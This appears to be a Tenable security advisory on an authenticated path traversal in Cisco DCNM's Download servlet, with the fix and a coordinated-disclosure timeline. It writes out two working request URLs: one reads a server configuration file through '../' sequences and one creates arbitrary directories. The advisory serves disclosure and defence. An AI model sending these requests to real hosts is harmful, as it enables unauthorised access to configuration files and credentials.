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[R2] Cisco Data Center Network Manager Authenticated Path Traversal

Medium

Synopsis

While developing a Nessus plugin for CVE-2018-0258 Tenable discovered an authenticated path traversal vulnerability in Cisco Data Center Network Manager (DCNM). The vulnerability allows a remote authenticated attacker to read arbitrary files and create arbitrary directories on the DCNM hosts.

The path traversal logic can be found in the xct.components.services.smart.data.download.SampleFileDownloadServlet servlet in dcnmweb.war. The servlet is used by the Download endpoint. An attacker can use the following URL to download files:

https://<cisco_dcnm_host>/Download?svc=samplefile&downloadLocation=../../../../../../../../Program%20Files/Cisco%20Systems/dcm/jboss-as-7.2.0.Final/standalone/configuration&downloadFiles=standalone-san.xml

And the following URL to create directories:

https://<cisco_dcnm_host>/Download?svc=samplefile&downloadLocation=../../../../../../../../folder&downloadFiles=standalone-san.xml

Solution

Upgrade to Cisco Data Center Network Manager 11.0.1

Disclosure Timeline

06-07-2018 - Vulnerability reported to Cisco via encrypted email.
06-08-2018 - Cisco acknowledges receipt of the vulnerability write up and assigns PSIRT-0553713140.
07-25-2018 - Tenable asks for an update.
07-25-2018 - Cisco responds that the vulnerability owner has been directed to update Tenable.
07-30-2018 - Cisco indicates the bug has been fixed by development. Awaiting to hear about the release date.
07-31-2018 - Tenable requests the patch.
08-02-2018 - Cisco responds that the fix was published in 11.0.1. Tenable discovers this was released on July 11th.
08-08-2018 - Tenable notes the bug fix does not appear in an advisory or release notes. Tenable also asks why they weren't notified of the release.
08-13-2018 - Cisco says advisory will be released on 10/3.
08-20-2018 - Tenable analyzes 11.0.1 and confirms the vulnerability is fixed.

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